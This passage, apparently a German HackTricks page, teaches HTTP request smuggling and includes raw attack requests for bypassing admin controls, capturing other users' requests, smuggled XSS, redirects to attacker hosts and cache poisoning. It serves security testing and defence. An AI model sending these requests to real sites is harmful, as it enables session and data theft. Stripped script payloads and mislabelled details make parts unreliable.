# HTTP Request Smuggling / HTTP Desync Attack {{#include ../../banners/hacktricks-training.md}} ## Was ist Diese Schwachstelle tritt auf, wenn eine **Desynchronisation** zwischen **Front-End-Proxys** und dem **Back-End**-Server es einem **Angreifer** ermöglicht, eine HTTP **Anfrage** zu **senden**, die von den **Front-End**-Proxys (Load-Balancer/Reverse-Proxy) als **eine einzige Anfrage** und vom **Back-End**-Server als **2 Anfragen** interpretiert wird.\ Dies ermöglicht es einem Benutzer, **die nächste Anfrage zu ändern, die nach seiner** an den Back-End-Server ankommt. ### Theorie [**RFC-Spezifikation (2161)**](https://tools.ietf.org/html/rfc2616) > Wenn eine Nachricht mit sowohl einem Transfer-Encoding-Headerfeld als auch einem Content-Length-Headerfeld empfangen wird, muss letzterer ignoriert werden. **Content-Length** > Der Content-Length-Entity-Header gibt die Größe des Entity-Bodys in Bytes an, die an den Empfänger gesendet werden. **Transfer-Encoding: chunked** > Der Transfer-Encoding-Header gibt die Form der Kodierung an, die verwendet wird, um den Payload-Body sicher an den Benutzer zu übertragen.\ > Chunked bedeutet, dass große Daten in einer Reihe von Chunks gesendet werden. ### Realität Das **Front-End** (ein Load-Balancer / Reverse-Proxy) **verarbeitet** den _**Content-Length**_ oder den _**Transfer-Encoding**_ Header und der **Back-End**-Server **verarbeitet den anderen**, was eine **Desynchronisation** zwischen den 2 Systemen verursacht.\ Dies könnte sehr kritisch sein, da **ein Angreifer in der Lage sein wird, eine Anfrage** an den Reverse-Proxy zu senden, die vom **Back-End**-Server **als 2 verschiedene Anfragen** interpretiert wird. Die **Gefahr** dieser Technik liegt darin, dass der **Back-End**-Server die **2. injizierte Anfrage** so interpretiert, als ob sie **vom nächsten Client** stammt und die **echte Anfrage** dieses Clients **Teil** der **injizierten Anfrage** sein wird. ### Besonderheiten Denken Sie daran, dass in HTTP **ein neuer Zeilenzeichen aus 2 Bytes besteht:** - **Content-Length**: Dieser Header verwendet eine **dezimale Zahl**, um die **Anzahl** der **Bytes** des **Bodys** der Anfrage anzugeben. Der Body wird erwartet, dass er mit dem letzten Zeichen endet, **ein neuer Zeilenzeichen ist am Ende der Anfrage nicht erforderlich**. - **Transfer-Encoding:** Dieser Header verwendet im **Body** eine **hexadezimale Zahl**, um die **Anzahl** der **Bytes** des **nächsten Chunks** anzugeben. Der **Chunk** muss mit einem **neuen Zeilenzeichen** enden, aber dieses neue Zeilenzeichen **wird nicht** vom Längenindikator gezählt. Diese Übertragungsmethode muss mit einem **Chunk der Größe 0, gefolgt von 2 neuen Zeilen** enden: `0` - **Connection**: Basierend auf meiner Erfahrung wird empfohlen, **`Connection: keep-alive`** bei der ersten Anfrage des Request Smuggling zu verwenden. ## Grundlegende Beispiele > [!TIP] > Wenn Sie versuchen, dies mit Burp Suite auszunutzen, **deaktivieren Sie `Update Content-Length` und `Normalize HTTP/1 line endings`** im Repeater, da einige Gadgets neue Zeilen, Wagenrückläufe und fehlerhafte Content-Lengths missbrauchen. HTTP-Request-Smuggling-Angriffe werden durch das Senden von mehrdeutigen Anfragen erstellt, die Diskrepanzen in der Art und Weise ausnutzen, wie Front-End- und Back-End-Server die `Content-Length` (CL) und `Transfer-Encoding` (TE) Header interpretieren. Diese Angriffe können in verschiedenen Formen auftreten, hauptsächlich als **CL.TE**, **TE.CL** und **TE.TE**. Jeder Typ stellt eine einzigartige Kombination dar, wie die Front-End- und Back-End-Server diese Header priorisieren. Die Schwachstellen entstehen, wenn die Server dieselbe Anfrage auf unterschiedliche Weise verarbeiten, was zu unerwarteten und potenziell bösartigen Ergebnissen führt. ### Grundlegende Beispiele für Schwachstellentypen ![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg) > [!NOTE] > In die vorherige Tabelle sollten Sie die TE.0-Technik hinzufügen, wie die CL.0-Technik, aber unter Verwendung von Transfer-Encoding. #### CL.TE-Schwachstelle (Content-Length wird vom Front-End verwendet, Transfer-Encoding wird vom Back-End verwendet) - **Front-End (CL):** Verarbeitet die Anfrage basierend auf dem `Content-Length`-Header. - **Back-End (TE):** Verarbeitet die Anfrage basierend auf dem `Transfer-Encoding`-Header. - **Angriffsszenario:** - Der Angreifer sendet eine Anfrage, bei der der Wert des `Content-Length`-Headers nicht mit der tatsächlichen Inhaltslänge übereinstimmt. - Der Front-End-Server leitet die gesamte Anfrage an das Back-End weiter, basierend auf dem `Content-Length`-Wert. - Der Back-End-Server verarbeitet die Anfrage als chunked aufgrund des `Transfer-Encoding: chunked`-Headers und interpretiert die verbleibenden Daten als separate, nachfolgende Anfrage. - **Beispiel:** ``` POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 30 Connection: keep-alive Transfer-Encoding: chunked 0 GET /404 HTTP/1.1 Foo: x ``` #### TE.CL-Schwachstelle (Transfer-Encoding wird vom Front-End verwendet, Content-Length wird vom Back-End verwendet) - **Front-End (TE):** Verarbeitet die Anfrage basierend auf dem `Transfer-Encoding`-Header. - **Back-End (CL):** Verarbeitet die Anfrage basierend auf dem `Content-Length`-Header. - **Angriffsszenario:** - Der Angreifer sendet eine chunked Anfrage, bei der die Chunk-Größe (`7b`) und die tatsächliche Inhaltslänge (`Content-Length: 4`) nicht übereinstimmen. - Der Front-End-Server, der `Transfer-Encoding` respektiert, leitet die gesamte Anfrage an das Back-End weiter. - Der Back-End-Server, der `Content-Length` respektiert, verarbeitet nur den ersten Teil der Anfrage (`7b` Bytes) und lässt den Rest als Teil einer unbeabsichtigten nachfolgenden Anfrage. - **Beispiel:** ``` POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 4 Connection: keep-alive Transfer-Encoding: chunked 7b GET /404 HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 30 x= 0 ``` #### TE.TE-Schwachstelle (Transfer-Encoding wird von beiden verwendet, mit Obfuskation) - **Server:** Beide unterstützen `Transfer-Encoding`, aber einer kann durch Obfuskation dazu gebracht werden, es zu ignorieren. - **Angriffsszenario:** - Der Angreifer sendet eine Anfrage mit obfuskierten `Transfer-Encoding`-Headern. - Je nachdem, welcher Server (Front-End oder Back-End) die Obfuskation nicht erkennt, kann eine CL.TE- oder TE.CL-Schwachstelle ausgenutzt werden. - Der nicht verarbeitete Teil der Anfrage, wie er von einem der Server gesehen wird, wird Teil einer nachfolgenden Anfrage, was zu Smuggling führt. - **Beispiel:** ``` POST / HTTP/1.1 Host: vulnerable-website.com Transfer-Encoding: xchunked Transfer-Encoding : chunked Transfer-Encoding: chunked Transfer-Encoding: x Transfer-Encoding: chunked Transfer-Encoding: x Transfer-Encoding:[tab]chunked [space]Transfer-Encoding: chunked X: X[\n]Transfer-Encoding: chunked Transfer-Encoding : chunked ``` #### **CL.CL-Szenario (Content-Length wird sowohl vom Front-End als auch vom Back-End verwendet)** - Beide Server verarbeiten die Anfrage ausschließlich basierend auf dem `Content-Length`-Header. - Dieses Szenario führt typischerweise nicht zu Smuggling, da es eine Übereinstimmung in der Interpretation der Anfragenlänge durch beide Server gibt. - **Beispiel:** ``` POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 16 Connection: keep-alive Normale Anfrage ``` #### **CL.0-Szenario** - Bezieht sich auf Szenarien, in denen der `Content-Length`-Header vorhanden ist und einen Wert ungleich null hat, was darauf hinweist, dass der Anfrage-Body Inhalt hat. Das Back-End ignoriert den `Content-Length`-Header (der als 0 behandelt wird), aber das Front-End analysiert ihn. - Es ist entscheidend für das Verständnis und die Erstellung von Smuggling-Angriffen, da es beeinflusst, wie Server das Ende einer Anfrage bestimmen. - **Beispiel:** ``` POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 16 Connection: keep-alive Nicht leerer Body ``` #### TE.0-Szenario - Wie das vorherige, aber unter Verwendung von TE - Technik [hier gemeldet](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/) - **Beispiel:** ``` OPTIONS / HTTP/1.1 Host: {HOST} Accept-Encoding: gzip, deflate, br Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36 Transfer-Encoding: chunked Connection: keep-alive 50 GET HTTP/1.1 x: X 0 EMPTY_LINE_HERE EMPTY_LINE_HERE ``` #### Brechen des Webservers Diese Technik ist auch in Szenarien nützlich, in denen es möglich ist, **einen Webserver zu brechen, während die initialen HTTP-Daten gelesen werden**, aber **ohne die Verbindung zu schließen**. Auf diese Weise wird der **Body** der HTTP-Anfrage als **nächste HTTP-Anfrage** betrachtet. Zum Beispiel, wie in [**diesem Bericht**](https://mizu.re/post/twisty-python) erklärt, war es in Werkzeug möglich, einige **Unicode**-Zeichen zu senden, und es wird den Server **brechen**. Wenn die HTTP-Verbindung jedoch mit dem Header **`Connection: keep-alive`** erstellt wurde, wird der Body der Anfrage nicht gelesen und die Verbindung bleibt offen, sodass der **Body** der Anfrage als **nächste HTTP-Anfrage** behandelt wird. #### Erzwingen über Hop-by-Hop-Header Durch den Missbrauch von Hop-by-Hop-Headern könnten Sie den Proxy anweisen, **den Header Content-Length oder Transfer-Encoding zu löschen, sodass ein HTTP-Request-Smuggling möglich ist**. ``` Connection: Content-Length ``` Für **weitere Informationen zu hop-by-hop-Headers** besuchen Sie: {{#ref}} ../abusing-hop-by-hop-headers.md {{#endref}} ## Finden von HTTP Request Smuggling Die Identifizierung von HTTP Request Smuggling-Schwachstellen kann oft durch Timing-Techniken erreicht werden, die darauf basieren, wie lange der Server benötigt, um auf manipulierte Anfragen zu reagieren. Diese Techniken sind besonders nützlich zur Erkennung von CL.TE- und TE.CL-Schwachstellen. Neben diesen Methoden gibt es weitere Strategien und Tools, die verwendet werden können, um solche Schwachstellen zu finden: ### Finden von CL.TE-Schwachstellen mit Timing-Techniken - **Methode:** - Senden Sie eine Anfrage, die, falls die Anwendung anfällig ist, den Back-End-Server dazu bringt, auf zusätzliche Daten zu warten. - **Beispiel:** ``` POST / HTTP/1.1 Host: vulnerable-website.com Transfer-Encoding: chunked Connection: keep-alive Content-Length: 4 1 A 0 ``` - **Beobachtung:** - Der Front-End-Server verarbeitet die Anfrage basierend auf `Content-Length` und schneidet die Nachricht vorzeitig ab. - Der Back-End-Server, der eine chunked Nachricht erwartet, wartet auf den nächsten Chunk, der nie ankommt, was zu einer Verzögerung führt. - **Indikatoren:** - Timeouts oder lange Verzögerungen bei der Antwort. - Erhalt eines 400 Bad Request-Fehlers vom Back-End-Server, manchmal mit detaillierten Serverinformationen. ### Finden von TE.CL-Schwachstellen mit Timing-Techniken - **Methode:** - Senden Sie eine Anfrage, die, falls die Anwendung anfällig ist, den Back-End-Server dazu bringt, auf zusätzliche Daten zu warten. - **Beispiel:** ``` POST / HTTP/1.1 Host: vulnerable-website.com Transfer-Encoding: chunked Connection: keep-alive Content-Length: 6 0 X ``` - **Beobachtung:** - Der Front-End-Server verarbeitet die Anfrage basierend auf `Transfer-Encoding` und leitet die gesamte Nachricht weiter. - Der Back-End-Server, der eine Nachricht basierend auf `Content-Length` erwartet, wartet auf zusätzliche Daten, die nie ankommen, was zu einer Verzögerung führt. ### Andere Methoden zur Auffindung von Schwachstellen - **Differential Response Analysis:** - Senden Sie leicht variierte Versionen einer Anfrage und beobachten Sie, ob die Serverantworten auf unerwartete Weise abweichen, was auf eine Parsing-Diskrepanz hinweist. - **Verwendung automatisierter Tools:** - Tools wie die 'HTTP Request Smuggler'-Erweiterung von Burp Suite können automatisch auf diese Schwachstellen testen, indem sie verschiedene Formen von mehrdeutigen Anfragen senden und die Antworten analysieren. - **Content-Length Variance Tests:** - Senden Sie Anfragen mit variierenden `Content-Length`-Werten, die nicht mit der tatsächlichen Inhaltslänge übereinstimmen, und beobachten Sie, wie der Server mit solchen Abweichungen umgeht. - **Transfer-Encoding Variance Tests:** - Senden Sie Anfragen mit obfuskierten oder fehlerhaften `Transfer-Encoding`-Headern und überwachen Sie, wie unterschiedlich die Front-End- und Back-End-Server auf solche Manipulationen reagieren. ### Testen von HTTP Request Smuggling-Schwachstellen Nachdem die Wirksamkeit der Timing-Techniken bestätigt wurde, ist es entscheidend zu überprüfen, ob Client-Anfragen manipuliert werden können. Eine einfache Methode besteht darin, zu versuchen, Ihre Anfragen zu vergiften, zum Beispiel eine Anfrage an `/` zu senden, die eine 404-Antwort ergibt. Die zuvor besprochenen `CL.TE`- und `TE.CL`-Beispiele in [Basic Examples](./#basic-examples) zeigen, wie man eine Client-Anfrage vergiftet, um eine 404-Antwort zu erhalten, obwohl der Client auf eine andere Ressource zugreifen möchte. **Wichtige Überlegungen** Beim Testen auf Request Smuggling-Schwachstellen durch Störung anderer Anfragen sollten Sie Folgendes beachten: - **Getrennte Netzwerkverbindungen:** Die "Angriffs"- und "normalen" Anfragen sollten über separate Netzwerkverbindungen gesendet werden. Die Verwendung derselben Verbindung für beide validiert nicht das Vorhandensein der Schwachstelle. - **Konsistente URL und Parameter:** Versuchen Sie, identische URLs und Parameternamen für beide Anfragen zu verwenden. Moderne Anwendungen leiten Anfragen oft an spezifische Back-End-Server basierend auf URL und Parametern weiter. Das Abgleichen dieser erhöht die Wahrscheinlichkeit, dass beide Anfragen vom selben Server verarbeitet werden, was eine Voraussetzung für einen erfolgreichen Angriff ist. - **Timing- und Rennbedingungen:** Die "normale" Anfrage, die dazu dient, Störungen durch die "Angriffs"-Anfrage zu erkennen, konkurriert mit anderen gleichzeitigen Anwendungsanfragen. Daher sollte die "normale" Anfrage sofort nach der "Angriffs"-Anfrage gesendet werden. Bei stark frequentierten Anwendungen sind möglicherweise mehrere Versuche erforderlich, um eine schlüssige Bestätigung der Schwachstelle zu erhalten. - **Herausforderungen beim Lastenausgleich:** Front-End-Server, die als Lastenausgleicher fungieren, können Anfragen auf verschiedene Back-End-Systeme verteilen. Wenn die "Angriffs"- und "normalen" Anfragen auf unterschiedlichen Systemen landen, wird der Angriff nicht erfolgreich sein. Dieser Aspekt des Lastenausgleichs kann mehrere Versuche erfordern, um eine Schwachstelle zu bestätigen. - **Unbeabsichtigte Auswirkungen auf Benutzer:** Wenn Ihr Angriff versehentlich die Anfrage eines anderen Benutzers beeinflusst (nicht die "normale" Anfrage, die Sie zur Erkennung gesendet haben), deutet dies darauf hin, dass Ihr Angriff einen anderen Anwendungsbenutzer beeinflusst hat. Kontinuierliches Testen könnte andere Benutzer stören, was einen vorsichtigen Ansatz erfordert. ## Missbrauch von HTTP Request Smuggling ### Umgehung der Front-End-Sicherheit durch HTTP Request Smuggling Manchmal setzen Front-End-Proxys Sicherheitsmaßnahmen durch, die eingehende Anfragen überprüfen. Diese Maßnahmen können jedoch durch den Missbrauch von HTTP Request Smuggling umgangen werden, was unbefugten Zugriff auf eingeschränkte Endpunkte ermöglicht. Zum Beispiel könnte der Zugriff auf `/admin` extern verboten sein, wobei der Front-End-Proxy solche Versuche aktiv blockiert. Dennoch könnte dieser Proxy versäumen, eingebettete Anfragen innerhalb einer geschmuggelten HTTP-Anfrage zu überprüfen, was eine Lücke zum Umgehen dieser Einschränkungen lässt. Betrachten Sie die folgenden Beispiele, die veranschaulichen, wie HTTP Request Smuggling verwendet werden kann, um Front-End-Sicherheitskontrollen zu umgehen, insbesondere den `/admin`-Pfad, der typischerweise vom Front-End-Proxy geschützt wird: **CL.TE Beispiel** ``` POST / HTTP/1.1 Host: [redacted].web-security-academy.net Cookie: session=[redacted] Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 67 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 Host: localhost Content-Length: 10 x= ``` Im CL.TE-Angriff wird der `Content-Length`-Header für die ursprüngliche Anfrage verwendet, während die nachfolgende eingebettete Anfrage den `Transfer-Encoding: chunked`-Header nutzt. Der Front-End-Proxy verarbeitet die ursprüngliche `POST`-Anfrage, übersieht jedoch die eingebettete `GET /admin`-Anfrage, was unbefugten Zugriff auf den `/admin`-Pfad ermöglicht. **TE.CL Beispiel** ``` POST / HTTP/1.1 Host: [redacted].web-security-academy.net Cookie: session=[redacted] Content-Type: application/x-www-form-urlencoded Connection: keep-alive Content-Length: 4 Transfer-Encoding: chunked 2b GET /admin HTTP/1.1 Host: localhost a=x 0 ``` Im TE.CL-Angriff verwendet die anfängliche `POST`-Anfrage `Transfer-Encoding: chunked`, und die nachfolgende eingebettete Anfrage wird basierend auf dem `Content-Length`-Header verarbeitet. Ähnlich wie beim CL.TE-Angriff übersieht der Front-End-Proxy die geschmuggelte `GET /admin`-Anfrage und gewährt versehentlich Zugriff auf den eingeschränkten `/admin`-Pfad. ### Offenlegung der Front-End-Anforderungsumformung Anwendungen verwenden häufig einen **Front-End-Server**, um eingehende Anfragen zu ändern, bevor sie an den Back-End-Server weitergeleitet werden. Eine typische Änderung besteht darin, Header hinzuzufügen, wie z.B. `X-Forwarded-For: `, um die IP des Clients an das Back-End weiterzuleiten. Das Verständnis dieser Änderungen kann entscheidend sein, da es Möglichkeiten aufdecken könnte, **Schutzmaßnahmen zu umgehen** oder **verborgene Informationen oder Endpunkte aufzudecken**. Um zu untersuchen, wie ein Proxy eine Anfrage ändert, finden Sie einen POST-Parameter, den das Back-End in der Antwort zurückgibt. Erstellen Sie dann eine Anfrage, bei der dieser Parameter zuletzt verwendet wird, ähnlich wie im Folgenden: ``` POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 130 Connection: keep-alive Transfer-Encoding: chunked 0 POST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 100 search= ``` In dieser Struktur werden die nachfolgenden Anfragekomponenten nach `search=` angehängt, was der Parameter ist, der in der Antwort reflektiert wird. Diese Reflexion wird die Header der nachfolgenden Anfrage offenbaren. Es ist wichtig, den `Content-Length`-Header der geschachtelten Anfrage mit der tatsächlichen Inhaltslänge abzugleichen. Es ist ratsam, mit einem kleinen Wert zu beginnen und schrittweise zu erhöhen, da ein zu niedriger Wert die reflektierten Daten abschneiden kann, während ein zu hoher Wert dazu führen kann, dass die Anfrage fehlschlägt. Diese Technik ist auch im Kontext einer TE.CL-Schwachstelle anwendbar, aber die Anfrage sollte mit `search=\r\n0` enden. Unabhängig von den Zeilenumbruchzeichen werden die Werte an den Suchparameter angehängt. Diese Methode dient hauptsächlich dazu, die von dem Front-End-Proxy vorgenommenen Anfrageänderungen zu verstehen, indem sie im Wesentlichen eine selbstgesteuerte Untersuchung durchführt. ### Capturing other users' requests Es ist möglich, die Anfragen des nächsten Benutzers zu erfassen, indem man eine spezifische Anfrage als Wert eines Parameters während einer POST-Operation anhängt. So kann dies erreicht werden: Indem Sie die folgende Anfrage als Wert eines Parameters anhängen, können Sie die Anfrage des nachfolgenden Clients speichern: ``` POST / HTTP/1.1 Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 319 Connection: keep-alive Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi Transfer-Encoding: chunked 0 POST /post/comment HTTP/1.1 Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net Content-Length: 659 Content-Type: application/x-www-form-urlencoded Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment= ``` In diesem Szenario ist der **Kommentarparameter** dazu gedacht, die Inhalte im Kommentarbereich eines Beitrags auf einer öffentlich zugänglichen Seite zu speichern. Folglich erscheinen die Inhalte der nachfolgenden Anfrage als Kommentar. Diese Technik hat jedoch Einschränkungen. Im Allgemeinen erfasst sie Daten nur bis zum Parameter-Trennzeichen, das in der geschmuggelten Anfrage verwendet wird. Bei URL-kodierten Formularübertragungen ist dieses Trennzeichen das `&`-Zeichen. Das bedeutet, dass der erfasste Inhalt aus der Anfrage des Opfers beim ersten `&` stoppt, das möglicherweise sogar Teil der Abfragezeichenfolge ist. Darüber hinaus ist es erwähnenswert, dass dieser Ansatz auch bei einer TE.CL-Schwachstelle möglich ist. In solchen Fällen sollte die Anfrage mit `search=\r\n0` enden. Unabhängig von Zeilenumbruchzeichen werden die Werte an den Suchparameter angehängt. ### Verwendung von HTTP-Request-Smuggling zur Ausnutzung von reflektiertem XSS HTTP Request Smuggling kann genutzt werden, um Webseiten auszunutzen, die anfällig für **reflektiertes XSS** sind, und bietet erhebliche Vorteile: - Interaktion mit den Zielbenutzern ist **nicht erforderlich**. - Ermöglicht die Ausnutzung von XSS in Teilen der Anfrage, die **normalerweise unerreichbar** sind, wie HTTP-Anforderungsheader. In Szenarien, in denen eine Website anfällig für reflektiertes XSS über den User-Agent-Header ist, zeigt die folgende Payload, wie man diese Schwachstelle ausnutzen kann: ``` POST / HTTP/1.1 Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Cookie: session=ac311fa41f0aa1e880b0594d008d009e Transfer-Encoding: chunked Connection: keep-alive Content-Length: 213 Content-Type: application/x-www-form-urlencoded 0 GET /post?postId=2 HTTP/1.1 Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net User-Agent: "> Content-Length: 10 Content-Type: application/x-www-form-urlencoded A= ``` Dieses Payload ist so strukturiert, dass es die Schwachstelle ausnutzt, indem es: 1. Eine `POST`-Anfrage initiiert, die scheinbar typisch ist, mit einem `Transfer-Encoding: chunked`-Header, um den Beginn des Smuggelns anzuzeigen. 2. Darauf folgt eine `0`, die das Ende des chunked Nachrichtentextes markiert. 3. Dann wird eine geschmuggelte `GET`-Anfrage eingeführt, bei der der `User-Agent`-Header mit einem Skript, ``, injiziert wird, was die XSS auslöst, wenn der Server diese nachfolgende Anfrage verarbeitet. Durch die Manipulation des `User-Agent` durch Smuggling umgeht das Payload die normalen Anfragebeschränkungen und nutzt somit die Reflected XSS-Schwachstelle auf eine nicht standardmäßige, aber effektive Weise aus. #### HTTP/0.9 > [!CAUTION] > Falls der Benutzerinhalt in einer Antwort mit einem **`Content-type`** wie **`text/plain`** widergespiegelt wird, wird die Ausführung der XSS verhindert. Wenn der Server **HTTP/0.9** unterstützt, könnte es möglich sein, dies zu umgehen! Die Version HTTP/0.9 war vorher zu 1.0 und verwendet nur **GET**-Verben und **antwortet nicht** mit **Headers**, nur mit dem Body. In [**diesem Bericht**](https://mizu.re/post/twisty-python) wurde dies mit einem Request Smuggling und einem **anfälligen Endpunkt, der mit der Eingabe des Benutzers antwortet**, ausgenutzt, um eine Anfrage mit HTTP/0.9 zu schmuggeln. Der Parameter, der in der Antwort widergespiegelt wird, enthielt eine **falsche HTTP/1.1-Antwort (mit Headers und Body)**, sodass die Antwort gültigen ausführbaren JS-Code mit einem `Content-Type` von `text/html` enthält. ### Ausnutzen von On-Site-Redirects mit HTTP Request Smuggling Anwendungen leiten oft von einer URL zu einer anderen um, indem sie den Hostnamen aus dem `Host`-Header in der Umleitungs-URL verwenden. Dies ist bei Webservern wie Apache und IIS üblich. Zum Beispiel führt die Anforderung eines Ordners ohne abschließenden Schrägstrich zu einer Umleitung, um den Schrägstrich einzuschließen: ``` GET /home HTTP/1.1 Host: normal-website.com ``` Ergebnisse in: ``` HTTP/1.1 301 Moved Permanently Location: https://normal-website.com/home/ ``` Obwohl es harmlos erscheint, kann dieses Verhalten mithilfe von HTTP-Request-Smuggling manipuliert werden, um Benutzer auf eine externe Seite umzuleiten. Zum Beispiel: ``` POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 54 Connection: keep-alive Transfer-Encoding: chunked 0 GET /home HTTP/1.1 Host: attacker-website.com Foo: X ``` Diese geschmuggelte Anfrage könnte dazu führen, dass die nächste verarbeitete Benutzeranfrage auf eine von einem Angreifer kontrollierte Website umgeleitet wird: ``` GET /home HTTP/1.1 Host: attacker-website.com Foo: XGET /scripts/include.js HTTP/1.1 Host: vulnerable-website.com ``` Ergebnisse in: ``` HTTP/1.1 301 Moved Permanently Location: https://attacker-website.com/home/ ``` In diesem Szenario wird die Anfrage eines Benutzers nach einer JavaScript-Datei hijacked. Der Angreifer kann potenziell den Benutzer kompromittieren, indem er bösartiges JavaScript als Antwort bereitstellt. ### Ausnutzen von Web-Cache-Vergiftung über HTTP Request Smuggling Web-Cache-Vergiftung kann ausgeführt werden, wenn irgendeine Komponente der **Front-End-Infrastruktur Inhalte cached**, typischerweise um die Leistung zu verbessern. Durch Manipulation der Serverantwort ist es möglich, den **Cache zu vergiften**. Zuvor haben wir beobachtet, wie Serverantworten geändert werden konnten, um einen 404-Fehler zurückzugeben (siehe [Basic Examples](./#basic-examples)). Ähnlich ist es möglich, den Server dazu zu bringen, den Inhalt von `/index.html` als Antwort auf eine Anfrage nach `/static/include.js` zu liefern. Folglich wird der Inhalt von `/static/include.js` im Cache durch den von `/index.html` ersetzt, wodurch `/static/include.js` für Benutzer unzugänglich wird, was potenziell zu einem Denial of Service (DoS) führen kann. Diese Technik wird besonders mächtig, wenn eine **Open Redirect-Schwachstelle** entdeckt wird oder wenn es eine **Vor-Ort-Umleitung zu einer offenen Umleitung** gibt. Solche Schwachstellen können ausgenutzt werden, um den zwischengespeicherten Inhalt von `/static/include.js` durch ein Skript unter der Kontrolle des Angreifers zu ersetzen, was im Wesentlichen einen weitreichenden Cross-Site Scripting (XSS)-Angriff gegen alle Clients ermöglicht, die das aktualisierte `/static/include.js` anfordern. Nachfolgend ist eine Illustration des Ausnutzens von **Cache-Vergiftung kombiniert mit einer Vor-Ort-Umleitung zu einer offenen Umleitung**. Das Ziel ist es, den Cache-Inhalt von `/static/include.js` zu ändern, um JavaScript-Code bereitzustellen, der vom Angreifer kontrolliert wird: ``` POST / HTTP/1.1 Host: vulnerable.net Content-Type: application/x-www-form-urlencoded Connection: keep-alive Content-Length: 124 Transfer-Encoding: chunked 0 GET /post/next?postId=3 HTTP/1.1 Host: attacker.net Content-Type: application/x-www-form-urlencoded Content-Length: 10 x=1 ``` Beachten Sie die eingebettete Anfrage, die auf `/post/next?postId=3` abzielt. Diese Anfrage wird auf `/post?postId=4` umgeleitet, wobei der **Host-Header-Wert** verwendet wird, um die Domain zu bestimmen. Durch die Änderung des **Host-Headers** kann der Angreifer die Anfrage an seine Domain umleiten (**on-site redirect to open redirect**). Nach erfolgreicher **Socket-Poisoning** sollte eine **GET-Anfrage** für `/static/include.js` initiiert werden. Diese Anfrage wird durch die vorherige **on-site redirect to open redirect**-Anfrage kontaminiert und ruft den Inhalt des vom Angreifer kontrollierten Skripts ab. Anschließend wird jede Anfrage für `/static/include.js` den zwischengespeicherten Inhalt des Skripts des Angreifers bereitstellen, was effektiv einen umfassenden XSS-Angriff auslöst. ### Verwendung von HTTP-Request-Smuggling zur Durchführung von Web-Cache- Täuschung > **Was ist der Unterschied zwischen Web-Cache-Poisoning und Web-Cache-Täuschung?** > > - Bei **Web-Cache-Poisoning** verursacht der Angreifer, dass die Anwendung schädliche Inhalte im Cache speichert, und diese Inhalte werden aus dem Cache an andere Anwendungsbenutzer ausgeliefert. > - Bei **Web-Cache-Täuschung** verursacht der Angreifer, dass die Anwendung sensible Inhalte eines anderen Benutzers im Cache speichert, und der Angreifer ruft dann diese Inhalte aus dem Cache ab. Der Angreifer erstellt eine geschmuggelte Anfrage, die sensible benutzerspezifische Inhalte abruft. Betrachten Sie das folgende Beispiel: ```markdown `POST / HTTP/1.1`\ `Host: vulnerable-website.com`\ `Connection: keep-alive`\ `Content-Length: 43`\ `Transfer-Encoding: chunked`\ `` \ `0`\ ``\ `GET /private/messages HTTP/1.1`\ `Foo: X` ``` Wenn diese geschmuggelte Anfrage einen Cache-Eintrag für statische Inhalte (z. B. `/someimage.png`) vergiftet, könnten die sensiblen Daten des Opfers von `/private/messages` unter dem Cache-Eintrag für statische Inhalte gespeichert werden. Folglich könnte der Angreifer potenziell diese zwischengespeicherten sensiblen Daten abrufen. ### Missbrauch von TRACE über HTTP Request Smuggling [**In diesem Beitrag**](https://portswigger.net/research/trace-desync-attack) wird vorgeschlagen, dass es möglich sein könnte, die Methode TRACE zu missbrauchen, wenn der Server diese aktiviert hat, indem man HTTP Request Smuggling anwendet. Dies liegt daran, dass diese Methode jeden Header, der an den Server gesendet wird, als Teil des Körpers der Antwort zurückgibt. Zum Beispiel: ``` TRACE / HTTP/1.1 Host: example.com XSS: ``` Bitte senden Sie eine Antwort wie: ``` HTTP/1.1 200 OK Content-Type: message/http Content-Length: 115 TRACE / HTTP/1.1 Host: vulnerable.com XSS: X-Forwarded-For: xxx.xxx.xxx.xxx ``` Ein Beispiel, wie man dieses Verhalten ausnutzen kann, wäre, zuerst eine **HEAD-Anfrage zu schmuggeln**. Diese Anfrage wird nur mit den **Headern** einer GET-Anfrage beantwortet (**`Content-Type`** darunter). Und schmuggeln Sie **unmittelbar nach dem HEAD eine TRACE-Anfrage**, die die **gesendeten Daten reflektiert**.\ Da die HEAD-Antwort einen `Content-Length`-Header enthalten wird, wird die **Antwort der TRACE-Anfrage als der Körper der HEAD-Antwort behandelt, wodurch beliebige Daten** in der Antwort reflektiert werden.\ Diese Antwort wird an die nächste Anfrage über die Verbindung gesendet, sodass dies **zum Beispiel in einer zwischengespeicherten JS-Datei verwendet werden könnte, um beliebigen JS-Code einzuschleusen**. ### Ausnutzen von TRACE über HTTP Response Splitting Es wird empfohlen, [**diesen Beitrag**](https://portswigger.net/research/trace-desync-attack) zu verfolgen, um 